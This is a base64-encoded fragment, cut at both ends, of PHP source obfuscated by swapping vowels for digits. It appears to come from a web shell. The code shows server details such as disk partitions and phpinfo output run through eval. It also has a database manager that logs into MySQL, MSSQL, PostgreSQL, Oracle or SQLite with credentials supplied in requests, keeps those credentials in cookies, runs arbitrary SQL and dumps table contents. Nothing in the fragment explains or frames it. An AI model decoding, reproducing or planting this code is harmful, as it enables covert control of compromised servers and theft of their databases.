CAgICAgICAgICA1bHM1ICRzX3I1czNsdCAuPSAiPC90MWJsNT48dDFibDU+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3QxYmw1PjwvZDR2PiI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIHAxcnQ0dDQybg0KICAgICAgICAgICAgNGYoJHNfNF9iM2ZmPXRyNG0oQGZnYygiL3ByMmMvcDFydDR0NDJucyIpKSl7DQogICAgICAgICAgICAgICAgJHNfNF9iM2ZmID0gcHI1Z19yNXBsMWM1KCIvXCArLyIsICIgIiwgJHNfNF9iM2ZmKTsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxwIGNsMXNzPSduMnQ0ZicgMm5jbDRjaz1cInQyZ2dsNSgnNG5mMl9wMXJ0JylcIj5QMXJ0NHQ0Mm5zIEluZjI8L3A+IjsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxkNHYgY2wxc3M9JzRuZjInIDRkPSc0bmYyX3AxcnQnPiI7DQogICAgICAgICAgICAgICAgJHNfNF9iM2ZmcyA9IDV4cGwyZDUoIlxuXG4iLCAkc180X2IzZmYpOw0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHQxYmw1Pjx0cj4iOw0KICAgICAgICAgICAgICAgICRzXzRfaDUxZCA9IDV4cGwyZDUoIiAiLCAkc180X2IzZmZzWzBdKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzXzRfaDUxZCAxcyAkc19oKSAkc19yNXMzbHQgLj0gIjx0aD4iLiRzX2guIjwvdGg+IjsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICAkc180X2IzZmZzcyA9IDV4cGwyZDUoIlxuIiwgJHNfNF9iM2Zmc1s2XSk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc180X2IzZmZzcyAxcyAkc180X2Ipew0KICAgICAgICAgICAgICAgICAgICAkc180X3IydyA9IDV4cGwyZDUoIiAiLCB0cjRtKCRzXzRfYikpOw0KICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjx0cj4iOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRzXzRfcjJ3IDFzICRzX3IpICRzX3I1czNsdCAuPSAiPHRkIHN0eWw1PSd0NXh0LTFsNGduOmM1bnQ1cjsnPiIuJHNfci4iPC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3QxYmw1PiI7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L2Q0dj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRzX3BocDRuZjIgPSAxcnIxeSgiUEhQIEc1bjVyMWwiID0+IElORk9fR0VORVJBTCwgIlBIUCBDMm5mNGczcjF0NDJuIiA9PiBJTkZPX0NPTkZJR1VSQVRJT04sICJQSFAgTTJkM2w1cyIgPT4gSU5GT19NT0RVTEVTLCAiUEhQIEVudjRyMm5tNW50IiA9PiBJTkZPX0VOVklST05NRU5ULCAiUEhQIFYxcjQxYmw1cyIgPT4gSU5GT19WQVJJQUJMRVMpOw0KICAgICAgICBmMnI1MWNoKCRzX3BocDRuZjIgMXMgJHNfcD0+JHNfNCl7DQogICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxwIGNsMXNzPSduMnQ0ZicgMm5jbDRjaz1cInQyZ2dsNSgnIi4kc180LiInKVwiPiIuJHNfcC4iPC9wPiI7DQogICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgNXYxbCgicGhwNG5mMigiLiRzXzQuIik7Iik7DQogICAgICAgICAgICAkc19iID0gMmJfZzV0X2MybnQ1bnRzKCk7DQogICAgICAgICAgICAyYl81bmRfY2w1MW4oKTsNCiAgICAgICAgICAgIDRmKHByNWdfbTF0Y2goIi88YjJkeT4oLio/KTxcL2IyZHk+LzRzIiwgJHNfYiwgJHIpKXsNCiAgICAgICAgICAgICAgICAkc19iMmR5ID0gc3RyX3I1cGwxYzUoMXJyMXkoIiwiLCAiOyIsICImMW1wOyIpLCAxcnIxeSgiLCAiLCAiOyAiLCAiJiIpLCAkcls2XSk7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSc0bmYyJyA0ZD0nIi4kc180LiInPiIuJHNfYjJkeS4iPC9kNHY+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0gLy8gdzJyazRuZyB3NHRoIGQxdDFiMXM1DQogICAgNWxzNTRmKDRzczV0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J2RiJykpew0KICAgICAgICAvLyBzcWx0eXA1IDogbXlzcWwsIG1zc3FsLCAycjFjbDUsIHBnc3FsLCBzcWw0dDUsIHNxbDR0NW8sIDJkYmMsIHBkMg0KICAgICAgICAkc19zcWwgPSAxcnIxeSgpOw0KICAgICAgICAkc19zcWxfZDVsNXQ1ZCA9ICIiOw0KICAgICAgICAkc19zaDJ3X2Yycm0gPSAkc19zaDJ3X2RicyA9IHRyMzU7DQoNCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnZGMnXSkpew0KICAgICAgICAgICAgJGsgPSAkX0dQWydkYyddOw0KICAgICAgICAgICAgczV0YzIyazQ1KCJjWyIuJGsuIl0iLCAiIiAsdDRtNSgpIC0gJHNfbDJnNG5fdDRtNSk7DQogICAgICAgICAgICAkc19zcWxfZDVsNXQ1ZCA9ICRrOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYoNHNzNXQoJF9DT09LSUVbJ2MnXSkgJiYgITRzczV0KCRfR1BbJ2Mybm41Y3QnXSkpew0KICAgICAgICAgICAgZjJyNTFjaCgkX0NPT0tJRVsnYyddIDFzICRjPT4kZCl7DQogICAgICAgICAgICAgICAgNGYoJGM9PSRzX3NxbF9kNWw1dDVkKSBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAkc19kYmMybiA9IChmM25jdDQybl81eDRzdHMoImpzMm5fNW5jMmQ1IikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCJqczJuX2Q1YzJkNSIpKT8ganMybl9kNWMyZDUoJGQpOjNuczVyNDFsNHo1KCRkKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2RiYzJuIDFzICRrPT4kdikgJHNfc3FsWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICRzX3NxbHAycnQgPSAoITVtcHR5KCRzX3NxbFsncDJydCddKSk/ICI6Ii4kc19zcWxbJ3AycnQnXToiIjsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIlsiLiRzX3NxbFsndHlwNSddLiJdICIuJHNfc3FsWyczczVyJ10uIkAiLiRzX3NxbFsnaDJzdCddLiRzX3NxbHAycnQuIg0KCQkJCQkJCTxzcDFuIHN0eWw1PSdmbDIxdDpyNGdodDsnPjwxIGhyNWY9JyIuJHNfczVsZi4ieD1kYiZjMm5uNWN0PWMybm41Y3Qmc3FsaDJzdD0iLnBsKCRzX3NxbFsnaDJzdCddKS4iJnNxbHAycnQ9Ii5wbCgkc19zcWxbJ3AycnQnXSkuIiZzcWwzczVyPSIucGwoJHNfc3FsWyczczVyJ10pLiImc3FscDFzcz0iLnBsKCRzX3NxbFsncDFzcyddKS4iJnNxbHR5cDU9Ii5wbCgkc19zcWxbJ3R5cDUnXSkuIic+YzJubjVjdDwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuIng9ZGImZGM9Ii5wbCgkYykuIic+ZDRzYzJubjVjdDwvMT48L3NwMW4+Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICRzX3NxbFsnaDJzdCddID0gNHNzNXQoJF9HUFsnc3FsaDJzdCddKT8gJF9HUFsnc3FsaDJzdCddIDogIiI7DQogICAgICAgICAgICAkc19zcWxbJ3AycnQnXSA9IDRzczV0KCRfR1BbJ3NxbHAycnQnXSk/ICRfR1BbJ3NxbHAycnQnXSA6ICIiOw0KICAgICAgICAgICAgJHNfc3FsWyczczVyJ10gPSA0c3M1dCgkX0dQWydzcWwzczVyJ10pPyAkX0dQWydzcWwzczVyJ10gOiAiIjsNCiAgICAgICAgICAgICRzX3NxbFsncDFzcyddID0gNHNzNXQoJF9HUFsnc3FscDFzcyddKT8gJF9HUFsnc3FscDFzcyddIDogIiI7DQogICAgICAgICAgICAkc19zcWxbJ3R5cDUnXSA9IDRzczV0KCRfR1BbJ3NxbHR5cDUnXSk/ICRfR1BbJ3NxbHR5cDUnXSA6ICIiOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnYzJubjVjdCddKSl7DQogICAgICAgICAgICAkc19jMm4gPSBzcWxfYzJubjVjdCgkc19zcWxbJ3R5cDUnXSwkc19zcWxbJ2gyc3QnXSwkc19zcWxbJzNzNXInXSwkc19zcWxbJ3Axc3MnXSk7DQogICAgICAgICAgICAkc19zcWxjMmQ1ID0gNHNzNXQoJF9HUFsnc3FsYzJkNSddKT8gJF9HUFsnc3FsYzJkNSddIDogIiI7DQoNCiAgICAgICAgICAgIDRmKCRzX2MybiE9PWYxbHM1KXsNCiAgICAgICAgICAgICAgICA0Zig0c3M1dCgkX0dQWydzcWw0bjR0J10pKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfc3FsX2MyMms0NSA9IChmM25jdDQybl81eDRzdHMoImpzMm5fNW5jMmQ1IikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCJqczJuX2Q1YzJkNSIpKT8ganMybl81bmMyZDUoJHNfc3FsKTpzNXI0MWw0ejUoJHNfc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgJHNfY19uM20gPSBzM2JzdHIobWRpKHQ0bTUoKS5yMW5kKDAsNjAwKSksMCxvKTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoNHNzNXQoJF9DT09LSUVbJ2MnXSkgJiYgNHNfMXJyMXkoJF9DT09LSUVbJ2MnXSkgJiYgMXJyMXlfazV5XzV4NHN0cygkc19jX24zbSwgJF9DT09LSUVbJ2MnXSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfY19uM20gPSBzM2JzdHIobWRpKHQ0bTUoKS5yMW5kKDAsNjAwKSksMCxvKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBzNXRjMjJrNDUoImNbIi4kc19jX24zbS4iXSIsICRzX3NxbF9jMjJrNDUgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkc19zaDJ3X2Yycm0gPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+DQoJCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3NxbGgyc3QnIHYxbDM1PSciLmhzcygkc19zcWxbJ2gyc3QnXSkuIicgLz4NCgkJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0nc3FscDJydCcgdjFsMzU9JyIuaHNzKCRzX3NxbFsncDJydCddKS4iJyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSdzcWwzczVyJyB2MWwzNT0nIi5oc3MoJHNfc3FsWyczczVyJ10pLiInIC8+DQoJCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3NxbHAxc3MnIHYxbDM1PSciLmhzcygkc19zcWxbJ3Axc3MnXSkuIicgLz4NCgkJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0nc3FsdHlwNScgdjFsMzU9JyIuaHNzKCRzX3NxbFsndHlwNSddKS4iJyAvPg0KCQkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSd4JyB2MWwzNT0nZGInIC8+DQoJCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J2Mybm41Y3QnIHYxbDM1PSdjMm5uNWN0JyAvPg0KCQkJCQk8dDV4dDFyNTEgNGQ9J3NxbGMyZDUnIG4xbTU9J3NxbGMyZDUnIGNsMXNzPSd0eHQxcjUxJyBzdHlsNT0naDU0Z2h0OjZpMHB4Oyc+Ii5oc3MoJHNfc3FsYzJkNSkuIjwvdDV4dDFyNTE+DQoJCQkJCTxwPjw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9J2cyZzInIGNsMXNzPSc0bnAzdHpiM3QnIHYxbDM1PSdHMiAhJyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7JyAvPg0KCQkJCQkmbmJzcDsmbmJzcDtTNXAxcjF0NSBtM2x0NHBsNSBjMm1tMW5kcyB3NHRoIDEgczVtNGMybDJuICA8c3AxbiBjbDFzcz0nZzF5MSc+Wzwvc3Axbj4gOyA8c3AxbiBjbDFzcz0nZzF5MSc+XTwvc3Axbj48L3A+DQoJCQkJCTwvZjJybT4iOw0KDQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRzX3NxbGMyZDUpKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfcTM1cnlzID0gNXhwbDJkNSgiOyIsJHNfc3FsYzJkNSk7DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHNfcTM1cnlzIDFzICRzX3EzNXJ5KXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKHRyNG0oJHNfcTM1cnkpICE9ICIiKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc19oMXM0bCA9IHNxbF9xMzVyeSgkc19zcWxbJ3R5cDUnXSwkc19xMzVyeSwkc19jMm4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzX2gxczRsIT1mMWxzNSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPGhyIC8+PHAgc3R5bDU9J3AxZGQ0bmc6MDttMXJnNG46ZXB4IDYwcHg7ZjJudC13NTRnaHQ6YjJsZDsnPiIuaHNzKCRzX3EzNXJ5KS4iOyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCQk8c3AxbiBjbDFzcz0nZzF5MSc+Wzwvc3Axbj4gMmsgPHNwMW4gY2wxc3M9J2cxeTEnPl08L3NwMW4+PC9wPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoITRzX2IyMmwoJHNfaDFzNGwpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHQxYmw1IGNsMXNzPSc1eHBsMnI1IHMycnQxYmw1JyBzdHlsNT0ndzRkdGg6NjAwJTsnPjx0cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCRzXzQgPSAwOyAkc180PHNxbF9uM21fZjQ1bGRzKCRzX3NxbFsndHlwNSddLCRzX2gxczRsKTsgJHNfNCsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHRoPiIuQGhzcyhzcWxfZjQ1bGRfbjFtNSgkc19zcWxbJ3R5cDUnXSwkc19oMXM0bCwkc180KSkuIjwvdGg+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJHNfcjJ3cz1zcWxfZjV0Y2hfZDF0MSgkc19zcWxbJ3R5cDUnXSwkc19oMXM0bCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHRyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkc19yMndzIDFzICRzX3Ipew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig1bXB0eSgkc19yKSkgJHNfciA9ICIgIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8dGQ+Ii5AaHNzKCRzX3IpLiI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3QxYmw1PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8cCBzdHlsNT0ncDFkZDRuZzowO20xcmc0bjplcHggNjBweDtmMm50LXc1NGdodDpiMmxkOyc+Ii5oc3MoJHNfcTM1cnkpLiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwMW4gY2wxc3M9J2cxeTEnPls8L3NwMW4+IDVycjJyIDxzcDFuIGNsMXNzPSdnMXkxJz5dPC9zcDFuPjwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1bHM1ew0KICAgICAgICAgICAgICAgICAgICA0ZigoJHNfc3FsWyd0eXA1J10hPSdwZDInKSAmJiAoJHNfc3FsWyd0eXA1J10hPScyZGJjJykpew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfc3FsWyd0eXA1J109PSdteXNxbCcpICRzX3NoMndkYiA9ICJTSE9XIERBVEFCQVNFUyI7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdtc3NxbCcpICRzX3NoMndkYiA9ICJTRUxFQ1QgbjFtNSBGUk9NIG0xc3Q1ci4uc3lzZDF0MWIxczVzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcWxbJ3R5cDUnXT09J3Bnc3FsJykgJHNfc2gyd2RiID0gIlNFTEVDVCBzY2g1bTFfbjFtNSBGUk9NIDRuZjJybTF0NDJuX3NjaDVtMS5zY2g1bTF0MSI7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PScycjFjbDUnKSAkc19zaDJ3ZGIgPSAiU0VMRUNUIFVTRVJOQU1FIEZST00gU1lTLkFMTF9VU0VSUyBPUkRFUiBCWSBVU0VSTkFNRSI7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdzcWw0dDVvJyB8fCAkc19zcWxbJ3R5cDUnXT09J3NxbDR0NScpICRzX3NoMndkYiA9ICJTRUxFQ1QgXCIiLiRzX3NxbFsnaDJzdCddLiJcIiI7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1ICRzX3NoMndkYiA9ICJTSE9XIERBVEFCQVNFUyI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX2gxczRsID0gc3FsX3EzNXJ5KCRzX3NxbFsndHlwNSddLCRzX3NoMndkYiwkc19jMm4pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICA0Zigkc19oMXM0bCE9ZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkc19yMndzXzFycj1zcWxfZjV0Y2hfZDF0MSgkc19zcWxbJ3R5cDUnXSwkc19oMXM0bCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX3Iyd3NfMXJyIDFzICRzX3Iyd3Mpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8cCBjbDFzcz0nbjJ0NGYnIDJuY2w0Y2s9XCJ0MmdnbDUoJ2RiXyIuJHNfcjJ3cy4iJylcIj4iLiRzX3Iyd3MuIjwvcD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSc0bmYyJyA0ZD0nZGJfIi4kc19yMndzLiInPjx0MWJsNSBjbDFzcz0nNXhwbDJyNSc+IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfc3FsWyd0eXA1J109PSdteXNxbCcpICRzX3NoMnd0YmwgPSAiU0hPVyBUQUJMRVMgRlJPTSAiLiRzX3Iyd3M7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdtc3NxbCcpICRzX3NoMnd0YmwgPSAiU0VMRUNUIG4xbTUgRlJPTSAiLiRzX3Iyd3MuIi4uc3lzMmJqNWN0cyBXSEVSRSB4dHlwNSA9ICdVJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdwZ3NxbCcpICRzX3NoMnd0YmwgPSAiU0VMRUNUIHQxYmw1X24xbTUgRlJPTSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIFdIRVJFIHQxYmw1X3NjaDVtMT0nIi4kc19yMndzLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcWxbJ3R5cDUnXT09JzJyMWNsNScpICRzX3NoMnd0YmwgPSAiU0VMRUNUIFRBQkxFX05BTUUgRlJPTSBTWVMuQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nIi4kc19yMndzLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zigkc19zcWxbJ3R5cDUnXT09J3NxbDR0NW8nIHx8ICRzX3NxbFsndHlwNSddPT0nc3FsNHQ1JykgJHNfc2gyd3RibCA9ICJTRUxFQ1QgbjFtNSBGUk9NIHNxbDR0NV9tMXN0NXIgV0hFUkUgdHlwNT0ndDFibDUnIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUgJHNfc2gyd3RibCA9ICIiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc19oMXM0bF90ID0gc3FsX3EzNXJ5KCRzX3NxbFsndHlwNSddLCRzX3NoMnd0YmwsJHNfYzJuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzX2gxczRsX3QhPWYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJHNfdDFibDVzXzFycj1zcWxfZjV0Y2hfZDF0MSgkc19zcWxbJ3R5cDUnXSwkc19oMXM0bF90KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHNfdDFibDVzXzFyciAxcyAkc190MWJsNXMpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfc3FsWyd0eXA1J109PSdteXNxbCcpICRzX2QzbXBfdGJsID0gIlNFTEVDVCAqIEZST00gIi4kc19yMndzLiIuIi4kc190MWJsNXMuIiBMSU1JVCAwLDYwMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdtc3NxbCcpICRzX2QzbXBfdGJsID0gIlNFTEVDVCBUT1AgNjAwICogRlJPTSAiLiRzX3Iyd3MuIi4uIi4kc190MWJsNXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoJHNfc3FsWyd0eXA1J109PSdwZ3NxbCcpICRzX2QzbXBfdGJsID0gIlNFTEVDVCAqIEZST00gIi4kc19yMndzLiIuIi4kc190MWJsNXMuIiBMSU1JVCA2MDAgT0ZGU0VUIDAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKCRzX3NxbFsndHlwNSddPT0nMnIxY2w1JykgJHNfZDNtcF90YmwgPSAiU0VMRUNUICogRlJPTSAiLiRzX3Iyd3MuIi4iLiRzX3QxYmw1cy4iIFdIRVJFIFJPV05VTSBCRVRXRUVOIDAgQU5EIDYwMDsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKCRzX3NxbFsndHlwNSddPT0nc3FsNHQ1JyB8fCAkc19zcWxbJ3R5cDUnXT09J3NxbDR0NW8nKSAkc19kM21wX3RibCA9ICJTRUxFQ1QgKiBGUk9NICIuJHNfdDFibDVzLiIgTElNSVQgMCw2MDAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNSAkc19kM21wX3RibCA9ICIiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc19kM21wX3RibF9sNG5rID0gJHNfczVsZi4ieD1kYiZjMm5uNWN0PSZzcWxoMnN0PSIucGwoJHNfc3FsWydoMnN0J10pLiImc3FscDJydD0iLnBsKCRzX3NxbFsncDJydCddKS4iJnNxbDNzNXI9Ii5wbCgkc19zcWxbJzNzNXInXSkuIiZzcWxwMXNzPSIucGwoJHNfc3FsWydwMXNzJ10pLiImc3FsdHlwNT0iLnBsKCRzX3NxbFsndHlwNSddKS4iJnNxbGMyZDU9Ii5wbCgkc19kM21wX3RibCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHRyPjx0ZCAybmRibGNsNGNrPVwicjV0M3JuIGcyKCciLjFkZHMoJHNfZDNtcF90YmxfbDRuaykuIicsNXY1bnQpO1wiPjwxIGhyNWY9JyIuJHNfZDNtcF90YmxfbDRuay4iJz4iLiRzX3QxYmw1cy4iPC8xPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3QxYmw1PjwvZDR2PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgc3FsX2NsMnM1KCRzX3NxbFsndHlwNSddLCRzX2Mybik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1ew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBuMnQ0ZigiVW4xYmw1IHQyIGMybm41Y3QgdDIgZDF0MWIxczUiKTsNCiAgICAgICAgICAgICAgICAkc19zaDJ3X2Yycm0gPSB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgNGYoJHNfc2gyd19mMnJtKXsNCiAgICAgICAgICAgIC8vIHNxbHR5cDUgOiBteXNxbCwgbXNzcWwsIDJyMWNsNSwgcGdzcWwsIHNxbDR0NSwgc3FsNHQ1bywgMmRiYywgcGQyDQogICAgICAgICAgICAkc19zcWxsNHN0ID0gMXJyMXkoKTsNCiAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygibXlzcWxfYzJubjVjdCIpKSAkc19zcWxsNHN0WyJteXNxbCJdID0gIkMybm41Y3QgdDIgTXlTUUwgPHNwMW4gY2wxc3M9J2Q1c2MnIHN0eWw1PSdmMm50LXM0ejU6NmFweDsnPi0gM3M0bmcgY2wxc3MgbXlzcWw0IDJyIG15c3FsXyo8L3NwMW4+IjsNCiAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygibXNzcWxfYzJubjVjdCIpIHx8IGYzbmN0NDJuXzV4NHN0cygic3Fsc3J2X2Mybm41Y3QiKSkgJHNfc3FsbDRzdFsibXNzcWwiXSA9ICJDMm5uNWN0IHQyIE1zU1FMIDxzcDFuIGNsMXNzPSdkNXNjJyBzdHlsNT0nZjJudC1zNHo1OjZhcHg7Jz4tIDNzNG5nIHNxbHNydl8qIDJyIG1zc3FsXyo8L3NwMW4+IjsNCiAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygicGdfYzJubjVjdCIpKSAkc19zcWxsNHN0WyJwZ3NxbCJdID0gIkMybm41Y3QgdDIgUDJzdGdyNVNRTCA8c3AxbiBjbDFzcz0nZDVzYycgc3R5bDU9J2YybnQtczR6NTo2YXB4Oyc+LSAzczRuZyBwZ18qPC9zcDFuPiI7DQ